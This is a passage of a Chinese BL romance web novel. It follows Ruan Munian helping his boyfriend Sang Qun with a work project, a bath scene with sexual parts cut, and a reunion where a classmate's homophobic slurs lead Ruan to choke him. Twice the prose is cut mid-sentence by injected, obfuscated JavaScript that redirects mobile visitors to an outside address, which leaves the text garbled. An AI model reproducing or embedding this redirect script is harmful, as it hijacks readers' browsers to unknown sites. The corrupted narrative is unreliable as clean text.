“看人。他说六点来接我,是准时还是估算的?”阮牧年有些闷闷不乐。 “你想提前走也可以,我们这里没那么多规矩,”教练说,“不过看你俩年纪都不大,小群是你什么人啊?” 阮牧年微怔:“小群?您认识他吗?” “怎么不认识,小群之前在我们馆打过好几个月的工呢,”教练笑起来,“他妈妈虽然办了卡,但不常来,这还是第一次看他带朋友来呢。” “嗷,”阮牧年微微羞赧,“他……他是我哥。” “难怪。你也是个勤奋孩子,”教练很健谈,“中午想吃什么?小群他以前很喜欢我们老板的拿手菜,你今天跟着一块尝尝?” “好啊,那就辛苦姐姐们了,”阮牧年露出笑容,开启交际模式,“我还想听您多讲讲,桑群他之前都在这里做过什么呀?” “这个嘛,我想想……” 连吃带聊套了不少情报,阮牧年望眼欲穿,好歹在变成望夫石前把人盼来了。 虽然桑群没有准时,但他提前到了,阮牧年决定先原谅他把自己孤苦伶仃丢在这里的罪行一会儿。 “桑桑,”阮牧年向他汇报,“我今天流了好多汗。” “真棒,”桑群给他摸头,把他的书包和水壶接过来,“走吧,一起回家洗澡。” “就这?”阮牧年撇嘴。 桑群失笑,把他拉过来亲了一口:“不能再多了,剩下的回家再说。” “好耶。”阮牧年弯起眼睛。 然而跟他想象的酣畅淋漓浴室大作战不同,桑群只是把睡衣塞给他,叫他自己先洗,然后走到阳台接电话。 好吧,男朋友如今也算是个挂名经理,工作忙点可以理解。 结果等他洗完出来,桑群又坐到书桌边,对着电脑敲来敲去。 “桑桑,该轮你去洗啦。”阮牧年喊他。 “知道了,”桑群眼也没抬,“你自己吹头发,记得手擦干再摸插头。” 电脑像是办公室带回来的,看来真的很忙,理解。 阮牧年自己吹头、吃晚饭、洗衣服、晾衣服、打理被窝,抬头一看,桑群虽然中途去洗了个澡,但依然坐在那里敲敲敲。 他到底在忙什么,阮牧年暗自不爽,从后面悄悄靠近,弯腰看去—— 被屏幕上眼花缭乱的图表和数据糊了一脸。 阮牧年:“?” 桑群压根没注意到他,编完PPT打开word,写几行字再转回去编辑图片,底下的任务栏挂着一大串资料网站。 居然真的在工作,好吧,要理解。 第一天,阮牧年忍了;第二天,阮牧年忍气吞声;第三天,阮牧年忍辱负重;第四天、第五天、第六天…… 他知道桑群在准备月底跟良辰约好的会谈,但怎么需要准备这么久?真的不是在压榨准大学生吗? 更重要的是,因为这个破会谈,桑群已经超过一周没有跟他进行贴贴以外的其他亲密互动! 这能忍吗?阮牧年忍不了,把健身房的器材耍得叮呤哐啷响。 “嚯,小年最近越来越有干劲了,”教练坐在他旁边喝水,“不过看你情绪不是很高的样子,怎么,跟小男友吵架啦?” 阮牧年差点被水呛到:“……姐姐,你说什么呢。” 教练捂嘴笑:“别以为我不知道,你们拉小手我可是看见了哦。” 阮牧年微微脸红,捧着水杯垂下眼睛:“没有吵架……他最近好忙,都没空理我。” “噢我听说小群好像已经在帮家里做事了,”教练给他出主意,“他没空理你,那你就去理他嘛。端端水送送水果什么的,他总不会连这点时间都没有吧?” 好主意,阮牧年默默记下,当天就去买了好多水果。 递水、端盘、捶肩,阮牧年一一实施,而桑群只是盯着电脑屏幕,顺着他的动作晃了晃,很敷衍地说了声谢谢。 理解、体谅……阮牧年深吸一口气告诫自己,然后低声问:“我可以坐你身边吗,不打扰你。” 桑群好像根本没听清他说的什么,随意地点点头。 阮牧年把旁边椅子拉过来,他倒要看看桑群到底被什么东西难住了。 结果越看越不对劲,阮牧年沉默些许,没忍住伸手按住桑群的鼠标:“等等,你每个章节都是亲自打字进去的吗?” 桑群忽然被他打断,眼神有些茫然:“什么?” 阮牧年掰过笔记本敲了两下,按下回车,再摆回去:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356379|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喏。” 桑群看上去有些震惊:“你……这怎么做到的?” “快捷键啊大哥,还有模板预设,套公式就能批量输出了,”阮牧年捂住额头,没想到阻挠他甜蜜恋爱的居然是这种东西,心里顿感无力,“所以你忙活了一周多,PPT才做到一半?” 桑群很挫败:“嗯……” “我来帮你吧,”阮牧年握住他的手,“告诉我你的大纲,可能具体细节需要你自己编辑,但普适性的东西我可以帮忙。” 桑群张了张口:“……我大纲,也只做了一半……” 这下轮阮牧年震惊了:“你是三线并行工作吗?” “我写不出大纲,脑子里有很多细节,”桑群苦恼地抓了抓头发,“我只能按照章节把它们一点点列出来,确定填充满了再进行下一部分……” “桑桑,”阮牧年扭头看他,“你的演讲稿……不会也只有一半吧?” 桑群:“哦,那倒不是。” 阮牧年松了口气。 桑群:“我演讲稿还没写呢。” 阮牧年:“……” 他低头支着额心,感受到久违的头疼,是解不出物理竞赛题都不曾有过的。 桑群的声音从旁边传来,有些低落:“我是不是……做得很差劲?” “没有!”阮牧年瞬间抬头,脱口而出,“现阶段,我们称这个为……呃,初稿。对,现在我们一块把整个项目梳理一遍吧,把你的想法告诉我,我们一起完善它。” 或许是他眼里的坚定打消了桑群的疑虑,后者点点头:“好。” 一搞就到了后半夜,这段时间阮牧年因为健身早睡早起,有些熬不住,偏头一看,桑群也在眼皮打架。 “很晚了,我们别做了,”阮牧年劝他,“明天再弄吧?” 桑群垂着眼皮点头,低低嗯了一声。 为此,阮牧年特地跟教练请了几天假,在桑群上班的时候帮他把技术问题解决了,进度一下子前进了一大截。 尽管如此,专业部分阮牧年还是帮不上忙,只能在旁边看着桑群苦思冥想。 某天夜里,阮牧年端着削好皮的水果出来,结果就看见桑群趴在书桌上,手还搭着鼠标睡着了。 他抿了抿唇,将餐盘放下,轻手轻脚过去。 桑群睡眠很浅,一点动静就引得他眉睫轻颤。 阮牧年在心里叹了口气,俯身过去圈住他,轻声:“桑桑困啦,我抱你去床上睡好不好?” 桑群含糊地应了一声,眼皮没能睁开,阮牧年小心地将他抱起来,放进柔软的被褥间。 谁知桑群勾着他的脖子不放,似乎有些不舒服,喉间挤出很低的呢喃:“年年……” “在呢,年年在呢,”阮牧年连忙低头凑近他,跪在床边轻拍他,“睡吧,你已经很困了。” 半梦半醒间的低语最有催眠效果,桑群果然又睡着了,呼吸变得平缓。 阮牧年撑在床边看了他一会儿,起身出去关灯关电。 黑暗中,月色一如既往顺着薄纱缝隙钻进来,探看屋里未眠的人儿。 阮牧年捂着脸站在卫生间里,想起刚才桑群靠在他胸口温热的吐息,以及那句迷糊的“年年”,勾人至极。 现在距离那个明亮的清晨已经过去将近半个月,期间他们除了日常贴贴,连超过3分钟的亲吻都没有过。 阮牧年不觉得他是一个忍耐力很强的人。 至少现在,他想桑群想得快疯了,想亲他想摸他,想(……) 可明天是周一,厂里要开例行会议,下午桑群要跟今老板去看一批布料的供应情况,晚上回来继续做那个见鬼的项目策划。 要理解啊阮牧年,要——理、解。 阮牧年深深吐出一口气,手撑在墙壁上。 (……) 墙脏了,阮牧年没空理会它,只是把额头抵在墙上,平复呼吸。 愉悦没有如常升起,心底某处空落落的。 浴室地砖上传来很轻很轻的啪嗒声。 阮牧年眨动眼皮,又一声。 原来是他的妄念化作月色,淌落地上。 102. 08(有删减) 桑压抑这些天,阮牧年报复性地添加购物车,挂上“对桑桑爱不完[爱心][爱心][爱心]”的标签。 没想到过两天,他的购物车就惨遭洗劫,只剩折叠桌飘在第一行,甜美的标签也被人移除了。 想也知道是谁做的。阮牧年不死心,开了个小号重新添加收藏,顺便买了仿真手模和塑料手铐,下单后再切回大号,假装无事发生。 喜欢的人碰不到,除了在健身房发泄精力,阮牧年重拾旧好,登回他的论坛号,翻看他俩的同人文。 可惜不是ooc,就是剧情崩坏,阮牧年动手清理了一下书架,发现光是垃圾文学就有上百来本,真不知道自己当初为什么收藏。 没有合胃口的啊,阮牧年忍着牙疼点进晴天主页,嚯,有新短篇,品鉴一下。 【晴天:[小短篇.txt]是给亲友写的福利短篇,她点的桑年abo,分享给大家~】 阮牧年面无表情地点进去,看到“阮牧年即将发情期”后又退出,直接切到私聊界面。 【小绵羊:晴天太太新短篇太棒了[欢呼]有没有年桑abo禁忌play什么的,蹲蹲饭饭饿饿QAQ】 【晴天:?】 【晴天:你被盗号了吗?】 【小绵羊:嘤嘤嘤没有啊,我就是想看这个[泪眼汪汪]】 【晴天:……想看自己写去,别用这种语气跟我说话】 【晴天:你真不知道为什么最近磕桑年的同人在骤增吗?】 【小绵羊:为什么呀[澄澈大眼]】 【晴天:自己去论坛上搜关于KTV和游乐场聚会的传闻吧,你的男神形象已经塌了,爱哭鬼】 【小绵羊:你怎么能这样说我[哭唧唧]】 【小绵羊:好吧,我是真饿了。你不是写过清冷美人桑群吗,怎么不继续写了】 【晴天:最近磕上了新cp,没空理你们】 【小绵羊:?】 【小绵羊:晴天太太你明明说过要一辈子支持SNS的!】 【晴天:没说不支持啊,只是转移重心了而已】 【晴天:你别说,这个新墙头可太好吃了哈哈哈哈哈】 【晴天撤回了一条消息】 【晴天:总之,以我搞同人多年的经验奉劝你一句】 【晴天:年桑失去竞争力,关键在于你可以爱哭,但不可以绝对弱势,明白吗?记得拿回你的主动权!】 大师一句话醍醐灌顶,阮牧年若有所思,意思就是不能一味装乖,不争不抢怎么拥有桑群。 好,决定了,等桑群过两天初次汇报结束,他一定要主动出击。 结果到了这一天,桑群满脸疲惫地回到家中,旺盛的□□先为心疼让了路。 “汇报顺利吗?”阮牧年迎上去。 桑群丢掉外套,幽灵般飘到沙发上,砸进去静置了一秒,才长舒一口气,哼笑出声。 阮牧年刚坐下,就被桑群伸手抱住。 “通过了,”桑群揽过他的肩膀,发丝轻扫他耳郭,“多亏了你,年年。谢谢。” “你才是付出最多的呀,”阮牧年也抱住他,在背后拍着,“厂里会议通过了,那还有什么需要修改吗?正式会面的具体时间确定了吗?” “嗯,有点小细节要改,交给新来的经理了,人家是真的高材生。大概是月底到月初那段时间要出差,具体还在安排,”桑群埋在他颈窝,声音放低,“好累,今晚我想早睡。” “好,那就早点睡。”阮牧年脱口而出。 ……不对啊,早睡怎么主动出击。 阮牧年跟在桑群屁股后面,一晚上也没找到合适的时机。 没办法,只能使出杀手锏了。 “桑桑,”阮牧年从旁边勾住桑群的胳膊,甜丝丝地邀请他,“秀姨送的浴缸到了,我们去泡个热水澡再睡觉吧?” 桑群:“在哪里,安装了吗?” 阮牧年将他拉走,两人一起拆装浴缸,桑群这么累,肯定拒绝不了舒服的泡澡。 果然,桑群主动去放热水,阮牧年借口拿睡衣溜走,让他自己先泡。 睡衣一件、两件,*一片、两片,玩具一个、两个……哦有点多,睡衣藏不住,那少拿一个吧,浴室有沐浴露和热水,好,装备齐全! 阮牧年性奋地捧着东西归来,临到门前,慢慢停下脚步。 卫生间门半开着,帘子没拉,室内笼罩着一层隐约的热气。 桑群靠坐在浴缸一侧,手肘搭在缸沿,斜支着脑袋,从这个角度只能看见他时而翕动的长睫。 那对利落漂亮的眉毛仍然蹙着,桑群闭着眼点了点头,低声说了句什么,抬手将旁边的手机按掉。 阮牧年才注意到他这时候还在接电话。 怀里的玩具硌着肚皮,他忽然反悔,把东西放了回去。 程抒晴说得对,不主动就掌握不了话语权。他当然想玩弄桑群,想宣示主权,想满足心里阴暗的欲望,可桑群这段时间的辛苦他看在眼里,连泡澡都不曾放松,他下不了那个手。 被桑群影响,他现在是个又爱哭、又心软的家伙了啊。 阮牧年走进浴室,桑群慢了一拍才抬起头,隔着逐渐升腾的雾气看他:“你来了。这个浴缸有点小,两个人一起泡可能太……年年?” 拖鞋蹬掉,阮牧年光着身子站在浴缸前,问:“那我可以坐你腿上吗?” “可以,”桑群提醒他,“但会有些挤,不好搓……唔。” 阮牧年抬脚踏进去,哗地坐下,溢出的热水急速上涨,漫过桑群脖颈流出去。 “舒服吗?”阮牧年掬起一捧水轻轻泼过去,“水温有点高啊,感觉怎么样?” “嗯,很放松,”桑群的眉头总算解开,看着阮牧年肌肤烫得泛起红却面不改色的样子,唇边挑起闲情笑意,“你还真是……皮糙肉厚啊。” “我不怕烫,”阮牧年慢慢往前挪,将手搭到桑群颈侧,“桑桑,我来给你按摩吧。” “你还会这个?”桑群有些惊讶。 “教练教了我很多。”阮牧年没再多说,动起手来。 肩颈果然是僵硬的,阮牧年加了点力度,帮他揉开、搓松。浴室大门刚被关上,室内的热气只增不减,池水很烫,桑群的皮肤也很烫。 往常桑群总是忍受不了他的力气。然而今晚,对方只是安静地坐在那里,最多眯起眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356380|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也没出声喊过一句停。 这个姿势能做的不多,阮牧年按摩的手渐渐停下,发梢微潮,贴在额间,他稍稍俯首,望着桑群促狭的眼尾轻声问:“舒服吗?” 桑群没有回答他。 因为下一秒,那瓣温热柔软的唇就代替回答贴了上来。 阮牧年被他吸住下唇,原来桑群的手心也是烫的,热乎乎地按在他脑后,抚摸、压紧、相贴。 上下翻涌的是浴池,是唇舌进退,还是交织于错乱呼吸间的情动,他已经分不清了。吻是人们表达喜爱的交互方式,而桑群惯会由此将他拉入微微窒息的情潮深处,紧密、灼热、微痛,但是满足。 好些天没接吻,为什么退步的是自己呢?阮牧年被亲得忍不住扇动睫羽,右手从肩上滑至桑群胸口,连接两个胸腔里同样的心跳声。 洗澡水越来越烫,阮牧年怀疑浴室开了暖气,直到他在桑群后肩抓了一把,才被人稍稍放开,暂时脱离那令人昏沉的闷热。 后颈的手没有松开,桑群凝视着他,阮牧年喜欢那对漆黑瞳孔里暗涌的情绪,这意味着爱|欲,意味着桑群想占有他,意味着被需要。 阮牧年微喘一声,唇珠还有些发麻:“桑桑……你*到我了。” (……) 不小心把小黄文付诸实践之后,阮牧年一边懊恼一边意犹未尽。池水被他俩搞得乱七八糟,桑群起身拉他出去,弯腰站在帘子下排水,耸动的背肌十分美味。 阮牧年舔了舔唇,从后面贴过去抱他:“桑桑,站在外面好冷啊。” “热水很快就好,”桑群伸指试水温,又搭在他手背上拍了拍,“累不累,待会儿给你按一下?” 想起方才因为按摩引发的闹剧,阮牧年沉默了一下:“算了吧。你呢,有没有累到?” 桑群轻笑:“没有。多亏你,身体舒畅好多。” “那就好。”阮牧年趴在他背上,手指在桑群后颈点来点去,漫无边际地想着如果这底下藏着一个腺体,会长什么样子呢,会微微鼓起来吗? abo设定真神奇呀,只要咬一咬脖子,就能跟喜欢的人永远绑定在一起,被法律认可、被血脉认可,沾点信息素就是拥抱,走到哪里都能感受到对方的存在。 阮牧年没忍住咬了咬那处的肌肤,边咬边想,自己这个倒霉的普通人类,忍受了半个月的寂寞,如今连再做一次的要求都不敢提出,因为会累到桑群这个老古板,他还得继续忍耐。 要是他有信息素的话,现在应该已经溢满整个浴室,桑群一闻就知道他的心思。 据说某些设定里,信息素还有抚慰情绪、缓解疲劳的作用,可恶、可恶啊…… “嘶,”桑群抬手拍了他一下,“你咬我这么狠干什么。” “啊,”阮牧年松嘴,这才发现桑群后颈已经红成一片了,他覆手上去揉了揉,假装无事发生,“我、我太冷了,桑桑我们快进去继续泡着吧。” 无法散发气味吸引配偶,阮牧年只能努力想其他办法勾引男朋友。 他抽空给玩具库做了番清洁,又在网上各种取经,计划隐隐有个雏形,却忽遭现实拦路虎。 那天,一通意料之外的电话打了过来。 103. 09(有删减) “好歹当初一起在1班奋斗过,大家都没拒绝,你们班那个学委也说可以来啊。牧年,给哥们个面子呗?” 打电话来的是现1班班长,曾经高一1班的副班长。 高一的时候,1班作为拔尖班,凝聚力很强,大家又经常在考场见面,哪怕后来分班分出去一些同学,彼此之间也时常联系。 听对方的意思,新旧1班组了个大聚会,说是毕业了和旧友们聚聚,可能也有打听成绩志愿的意思,总之,作为年段的风云人物,阮牧年怎么能缺席。 “可是……” “知道你的顾虑,这点哥们也帮你想好了!”1班班长说,“男女生是分开坐的,要换座都得自愿,放心吧,我们很有眼色,不会让你跟程抒晴待一块的!” 最后的借口也被对方掐灭,阮牧年实在推脱不掉,只好答应了。 聚会在明天,要聚一整天,这帮人到底有什么好聚的? 一天拖一天,没多久桑群就要出差了,他猴年马月能睡到对方? 阮牧年在客厅来回踱步,不死心向桑群发出邀请,果然遭到了拒绝,对方不仅不想陪他,还对他即将离家一天毫无留恋! 烦死了,阮牧年耷拉着眉眼,浑身散发着幽怨的信息素。 然而并没有人闻到,同学们嘻嘻哈哈地讨论逛商场路线,阮牧年抱臂站在旁边,心里十分郁闷。 “哎牧年,估分如何?打算出省吗?” 果不其然,聚会必有的打听成绩环节。阮牧年早有准备:“我的志愿不是早就挂在年段的心愿墙上吗?当然不出省了。” “嚯,那你也报A大喽?”他在一班的前同桌走过来搭肩,“今年竞争可不小呢,年段里前50的至少一半都报A大,更别说还有南中的人。怎么不考虑其他高校,舍不得离家吗?” “这么积极来劝退我,”阮牧年笑了笑,反问,“你也报了?” “是啊,你也知道我每次排名都很悬,”前同桌摆出楚楚可怜的样子,“还有你这么强劲的竞争对手,做梦都怕被你挤下去!” “一边去,”阮牧年笑骂,“你上次可抢了我的第一,装什么可怜。” “就是。人家牧年心里全是新同桌呢,哪里装得下你。” 一道令人不太舒服的尖利声音响起。 谈笑的两人面色俱僵了僵,插话者浑然不觉,还问:“对了牧年,你家那位打算考哪里?不会要异地恋吧。” 阮牧年收了脸上的笑:“当然跟我一样。” “哦,”尾音刻意拉长,那人点头,咄咄逼人,“你别怪我说话难听,只是……他考得上吗?” 阮牧年挑起眉梢:“你填的什么志愿?” “我也报的A……” “你考得上吗?”阮牧年毫不客气地打断,笑意未达眼底,“你也别怪我说话难听,毕竟今年竞争很激烈呢。” 那人噎了一下:“你……!” “我会考上的,”阮牧年低头看人,“不用担心。” 那人瞪他一眼,气冲冲走了。前同桌在旁边暗骂一句:“啧,晦气。” “那谁啊。”阮牧年问。 “一个神经病,单方面跟你有仇,”前同桌摆了摆手,“他说话难听,你别理他。” 人气太高总要经历一些烦恼,阮牧年本来没放心上,架不住吃饭的时候,对方又一次跳到他面前。 热闹的饭店包间,因为一道刺耳的木椅蹭地声而陷入安静。 “喂,”挑事者站起来,语气夹着硝烟味,“就算你讨厌我,也不能这么过分吧?” 阮牧年过了两秒才反应过来对方在跟自己说话,顿感莫名:“……什么?” 那人嚷嚷:“你踩到我筷子了!” 他低头一看,脚边躺着一双筷子,油渍上沾着灰。 “我没踩。”阮牧年十分冤枉。 “都脏成这样了,难道是饭店卫生不过关吗?!” 短暂的寂声后,有人出面打圆场,本只是件小事,叫服务员再拿副筷子便好,不至于把关系闹僵。 然而不悦已经在心里生梗。 “他到底什么毛病?” 最后一站桌游店,阮牧年谢绝同学们的盛情邀请,跟前同桌一块坐在年代游戏机前的小沙发上,实在忍不住问。 “噢,我也是听说的,”前同桌眼也不眨地盯着屏幕,按动摇杆,“最后半学期年段里不是有开一些科目的培优课嘛?他好像没被选上,可能成绩落后你几分,觉得被你抢了名额吧。” 阮牧年一拳打死了前同桌,进入胜利结算:“太扯了吧,分数不都是自己考出来的吗?” 前同桌换了个游戏:“当然还有传闻,比如……对女神求而不得,于是把怨恨撒在了你身上?” “什么意思?”阮牧年一时没听懂,被前同桌一个滑铲撞出比赛场地。 比分来到1-1,前同桌往身后某桌瞥了一下,冲阮牧年挤挤眼睛。 “……又是她?”阮牧年看懂了暗示,但还是不明白,“她烂桃花真够多的。可我也没跟她谈过,冲我撒什么气?” “别忘了你自己也是人家的烂桃花之一,”前同桌乘胜追击又开一局,解释,“在你这里,是你拒绝了人家;而在他那里,是人家拒绝了他。大概是觉得你都瞧不上人家,自然也瞧不起他喽。” 阮牧年无语,这世界上的生物真是丰富多样。 反正聚会即将结束,下次把这神奇生物也一块纳入拒绝借口好了。他窝在角落里,应该不容易…… “阮牧年。” ……曹操也是凉菜爱好者吗。 阮牧年假装专心游戏没听见,结果神奇生物提高音量又喊了他一声:“阮牧年。” 手指一划,前同桌操纵的小人被他干爆,胜负已分,他不得不回头:“什么事?” 神奇生物脸色很臭,手里举着罐啤酒:“大冒险,跟我喝一杯。” 阮牧年一哂:“你找别人吧,我不喝酒。” “什么意思,”神奇生物皱眉,“你明明能喝。” “我今晚不喝。”阮牧年说。 “怎么,被你对象管着呢?”神奇生物冷笑,“还以为你有多能耐,原来只会被男人牵着鼻子走。真搞不懂你这种躺在别人身下的同性恋也能受欢迎,不嫌恶心吗?” 这声音不高不低,房间内的其他音量明显变低了。 阮牧年脸色彻底沉下去:“你说什么?” “我说跟我喝一杯,”对方比他还不耐烦,手抓罐身直直撞上他胸口,泼出几滴酒液,“别不识好歹。” 阮牧年抬手推开身前的酒,谁知对方直接在半空倾斜易拉罐,酒水随着激烈的动作泼了他一身。 “不喝就不喝,推我干什么?”这人还敢反咬一口,“说两句就动手,简直有病。” 衣料又黏又湿,阮牧年气得说不出话。眼看情况不对,游戏桌那边的人赶紧过来劝和。 “哎哎怎么搞的,还把酒弄洒了?牧年你没事吧?这家伙喝醉了,你别跟他一般计较。” 前同桌脸色也不好看,在旁边帮他说了句:“喝多了就能随便发疯吗?你们看着点,他说话根本不过脑子。要不是牧年脾气好,换个人直接给你揍地里去。” “明白明白,我们这就把他拖走。” 见阮牧年还沉默地低着头,前同桌拽了拽他的胳膊:“都湿成这样了,去换身衣服吧。” “哪儿来的衣服。”阮牧年闷声。 “我去借。” 前同桌去而复返,手里拿着一件小码T恤,阮牧年看了他一眼:“你找谁借的。” “女生那边,有人在商场买了衣服,”前同桌说,“听说能帮到牧年,人家可乐意了呢。” “这我穿不下。”阮牧年打量衣服的尺寸。 “你穿我的,我比较瘦穿得下这件,”前同桌拉着他出门,“走吧,这家店有换衣室。” 阮牧年说不上自己在烦什么。以前不是没听过别人骂他,可隐隐盘旋心头的烦闷却化作尖刺,紧紧扎进皮肉里。 ……真烦。 换完衣服,他拎着脏T恤跟前同桌回包间。途径厕所,门扉半掩,里面传出熟悉的声音。 “那个阮牧年算什么玩意儿,居然冲我甩脸色!” 阮牧年顿住脚步。 前同桌也听见了,皱眉想拉他快走,没等伸手门内又响起另一个声音。 “再怎么说人家人气高啊,一堆人维护着呢。” 第一个声音:“他们都没长脑子吧。特别是那群只会看脸的女生,头发长见识短,这种对着男人摇屁股的同性恋也能追捧,妈的,不嫌恶心吗?” “哟,把你女神也骂进去了?” “女个屁的神,你可别说我喜欢过她啊!老子当初真是瞎了眼,被拒绝的时候以为她有多清高呢,结果转头就跟别的男的混一块。女人都一个德行,水性杨花,我呸。” “嚯,不得了。那你不喜欢人家,跟阮牧年呛什么?泼那一身衣服都没法穿了,不怕他找你麻烦啊?” “老子就是看他烦人!什么不顺心的事情都因为他,这种变态还骂不得了吗,操。反正老子不怕他,他敢来我就敢把他踩脚下干他娘的,不是喜欢男的吗?老子让他喜欢个够!” 攥衣服的指节不断缩紧,泛出惨白,阮牧年站在门边微微侧首,没什么表情的脸看着格外吓人。 前同桌根本拉不动他的胳膊,用气音劝他:“牧年……” “哈哈你这话私底下说说算了,可别讲出去讨打。现在的社会都这样,男的跟男的多新鲜呐,年轻人追求个性开放嘛。但也就得意个几年咯,你等年纪大了再看,有几对同性恋能走到最后?该分的分,该跟女人结婚的结婚,有的是笑话看。” “呵,我看他那种给男人玩弄的根本没人敢要,只能找各种中年大叔满足自己,最好是孤独终老,这才是笑话。” “你懂什么,人家要找也是找嫩草,至少体力好。同性恋都是看脸的,对上眼找个地滚几回,就成了。而且换人快,读大学那么多人,随便就能换好几任,比传统恋爱有滋味多了。” “我操,你他妈这么懂,不会也喜欢男的吧?别恶心我啊!” “滚滚滚,见识比你多你就急。我只是在说帅哥都喜欢内部消化,你看人家阮牧年,找的不也是校草?” “笑死我了,真是什么人都能当上校草。那桑群不就是个混子,最后一年不知道磕了什么药考那么好,我看他题目全是蒙的吧,或者提前背答案了。” “哟,人家排名比你高,你嫉妒了?” “不就高个几分,我干嘛嫉妒他。要我说他也不是什么好东西,整天拉着脸拽上天了,也就阮牧年那个贱货会喜欢。看着人模狗样的,说不定私底下脱了……” “砰——!” 厕所大门忽然被人踹开,门板重重砸在墙上,阮牧年收腿踏进来,一步一步,鞋跟与瓷砖地面磕碰出脆响。 嚼舌根的两人都愣在原地,反应间隔,闯入者已经近在眼前。 第一道声音,也就是那位神奇生物忍不住后退:“你、你怎么在这……” “路过,来打个招呼。”阮牧年盯着他,唇边扯起一个阴冷的笑。 神奇生物还想再说点什么,忽然被一只大手扣住脖颈,剩下的言语掐灭于喉间。 前同桌及时控住想上前帮忙的另一人,腾出一只手伸向阮牧年,试图唤醒对方的理智:“牧年啊,杀人犯法……” “说起来,你刚才不是要跟我喝酒么,”掌心缓缓收缩,手里的脖颈涨红紧绷,阮牧年垂着眼睛,将人死死抵在墙上,嗓音低沉,“不好意思,今晚真的不能喝。为表歉意,我也回敬你一杯吧。” 神奇生物抓着他的手腕不停挣扎,阮牧年将攥了一路的脏衣服塞进他半张的呻吟的嘴里,用力往里挤压到喉咙。 “喝啊,你不是喜欢喝酒么。” “嗬呃……唔唔!” 直到再也塞不进去,阮牧年才停手,幽深无光的瞳孔泛着寒意,在对方窒息的前一刻松劲,把人往旁边隔间门上狠狠一掼。 “你算什么东西,骂我就骂我,”阮牧年稍稍俯身,冷漠地注视瘫在门边发抖呕吐的畜生,“桑群是你能议论的吗?” 那人满脸通红,狼狈地往外拉扯嘴里的衣服,恶心的黄水从暗沉的嘴角流下。 完全不想再多看一眼,阮牧年转身,招呼前同桌:“走了。” 前同桌连忙跟出来:“好嘞。” 阮牧年一言不发地走到包间附近,又忽地停下脚步,对前同桌说:“我想先走。” “直接走吗?”前同桌秒懂他意思,“行,那你走吧,我跟他们说你有点事情。” “谢谢,”阮牧年点头,又想起什么,“你的衣服……” “哎,一件衣服而已,我家里一堆呢,你明天扔了都行。” “不行,我洗好了再还你。” “那你到时候联系我吧。快走,别等厕所那俩傻逼追出来。” “嗯。” 店里的空气沉闷得难受,阮牧年加快脚步逃离,垂在身侧的左手僵硬虚拢,油腻皮肤的触感挥之不去。 烦死了。 终于呼吸到室外的新鲜空气,阮牧年长舒一口气,晃了晃脑袋。 别被蠢货影响心情,聚会结束,该回归快乐的假期状态啦。 桑群来接他了吗? 阮牧年张望四周,对街墙边有道熟悉的身影。 眼睛一亮,他抬脚就要过去,又忽然顿在原地。 桑群的肩上……搭着另一只手。 墙角光线昏暗,看不清脸的陌生男人站在旁边,跟桑群距离暧昧。 不知男人说了什么,桑群既没有推开他,也没有走掉,反而抬头回了对方一句。 ……哈。 冷静,说不定是什么难缠的陌生人,桑群没来得及摆脱而已。 他走过去唤了一声,桑群果然在他和陌生男人之间选了他,解释情况的时候也很认真,根本就是误会。 桑群不会骗自己的。 一到家,阮牧年先钻进浴室。 左手仿佛被陌生油脂腐蚀般灼痛,水流倾泻而下,不适感总算有点缓解。 花洒架在墙上,热水冲刷全身,阮牧年闭着眼在水中站了许久,才觉得那股聚会上带出来的晦气消散不少。 他关掉水,抬手抹了把紧贴额头的湿发,忽然觉得手有点疼。 摊开一看,掌心不知何时留下了四道弯月形的指甲凹痕。 阮牧年稍怔,连忙甩了甩手,抹上沐浴露。 怎么搞的,可千万别让桑群看见。 还在想刚才的事吗?不过是闲言碎语,没什么好在意的。 他们能对你发动的最大攻击只有言语挑衅,淡然处之是最好的反击。 别被恶语牵着鼻子走,你已经是一个清醒成熟的大人了。 理智看待这件事,阮牧年。 又过了一会儿,阮牧年低头冲水,发现指甲又跑进掌心里,赶紧撒开放头发上抓了抓。 在不安什么? 因为几句坏话,就对你们的感情心生疑虑。他们不理解,你自己还不清楚桑群有多喜欢你吗? 从小到大,桑群是最宠你的人。今晚他也提前来接你了,第一时间注意到你的状态、关心你的情绪,在自行车后座替你拉着T恤下摆避免灌风着凉……你却在这里胡思乱想,对得起他吗? 多想想桑群吧,阮牧年。 阮牧年长长叹了口气,再次按下沐浴露瓶嘴。 可这些日子的煎熬与落寞又算什么? 听听那些话,你永远是被抛弃的那一个,除了桑群,没人要你。仔细回想,你们上次、上上次亲热在什么时候,间隔多久? 当然,桑群爱你,你也爱着他。可放任眼前这种慢慢疏远的日子继续下去,你们会变成更亲密的恋人,还是退回相敬如宾的家人? 别再自欺欺人了,站出来,抓住他,告诉他你想要,把他牢牢锁在你身边。犹豫什么,你本来就是这样阴暗卑劣的人,桑群一定会理解的。 今晚就扑倒他,阮牧年。 阮牧年抱着花洒缓缓蹲下,头疼地挤出一句:“……你们不要再吵了。” 三扇门里的阮牧年各执己见,不分上下。 理智,阮一年冷静地说。 多为桑群考虑,阮二年幽怨地说。 扑倒他!阮三年恶狠狠地说。 “我会自己看着办的。”阮牧年被他们压在最底下,好半天才爬起来把三扇门全关上。 这三个家伙说得都很有道理,阮牧年理智地思考了一会儿,决定在为桑群着想的情况下扑倒他。 一想到接下来的亲密,心情就忍不住上扬,聚会上的郁闷也通通消失不见。 